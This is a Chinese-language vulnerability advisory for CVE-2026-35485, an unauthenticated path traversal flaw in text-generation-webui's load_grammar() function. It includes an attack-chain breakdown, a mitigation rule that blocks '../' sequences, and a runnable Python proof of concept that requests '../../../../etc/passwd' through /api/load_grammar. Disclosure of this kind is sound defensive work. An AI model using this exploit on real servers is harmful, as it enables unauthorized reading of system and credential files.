IPBUF安全漏洞报告
English
CVE-2026-35485 CVSS 7.5 高危

CVE-2026-35485 text-generation-webui路径遍历漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-35485
漏洞类型
路径遍历
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
text-generation-webui

相关标签

路径遍历text-generation-webui任意文件读取CVE-2026-35485LLM安全

漏洞概述

text-generation-webui是一个用于运行大语言模型的开源Web界面。在4.3版本之前,该组件的`load_grammar()`函数中存在一个严重的未经身份验证的路径遍历漏洞。由于底层Gradio框架未对下拉菜单的值进行服务端验证,攻击者可以利用该缺陷,通过API接口提交包含目录遍历字符(如`../../../etc/passwd`)的恶意载荷。这使得攻击者能够在无任何权限要求的情况下,读取服务器文件系统上的任意文件,造成敏感信息泄露。该漏洞已在4.3版本中得到修复。

技术细节

该漏洞的根本原因在于text-generation-webui在实现文件加载功能时,过度信赖前端Gradio组件传递的参数。漏洞触发点位于`load_grammar()`函数,该函数通常用于加载语法文件以辅助大模型生成。在受影响版本中,应用未在服务端对接收的文件路径参数进行标准化处理或合法性校验。由于Gradio默认不提供针对文件路径的严格服务端验证,攻击者可以绕过前端限制,直接向API端点发送POST请求。攻击者通过在参数中插入路径遍历序列(如`../`或`..\`),能够突破当前工作目录的限制,访问操作系统的任意路径。此外,该漏洞无需身份验证(PR:N),结合网络攻击向量(AV:N),使得任何能够访问Web端口的攻击者均可利用此漏洞。成功利用后,攻击者可读取服务器上的敏感配置文件、密钥、源代码或其他用户数据,导致严重的信息泄露风险。

攻击链分析

STEP 1
侦察
攻击者识别出目标服务器运行的是text-generation-webui且版本低于4.3。
STEP 2
武器化
攻击者构造包含目录遍历序列(如../)的恶意POST数据包,目标指向敏感文件(如/etc/passwd)。
STEP 3
漏洞利用
攻击者向服务器的`/api/load_grammar`接口发送未经身份验证的POST请求,提交恶意载荷。
STEP 4
数据泄露
服务器端`load_grammar()`函数解析载荷,读取指定路径文件并返回给攻击者,导致敏感信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_url): """ PoC for CVE-2026-35485 Exploits path traversal in load_grammar() to read arbitrary files. """ # The endpoint might vary, this is based on typical Gradio API structures api_endpoint = f"{target_url}/api/load_grammar" # Malicious payload to read /etc/passwd # Adjust the number of '../' based on the deployment directory depth traversal_payload = { "grammar_file": "../../../../etc/passwd" } try: print(f"[*] Sending request to {api_endpoint}...") response = requests.post(api_endpoint, data=traversal_payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text) if "root:" in response.text or "[extensions]" in response.text: print("[!] Potential file content detected!") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://localhost:7860" # Replace with actual target exploit(target)

影响范围

text-generation-webui < 4.3

防御指南

临时缓解措施
如果无法立即升级,建议将服务部署在内网环境并严格限制访问IP,同时在反向代理层面配置规则,拦截包含'../'或'%2e%2e/'等特征字符的请求参数。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表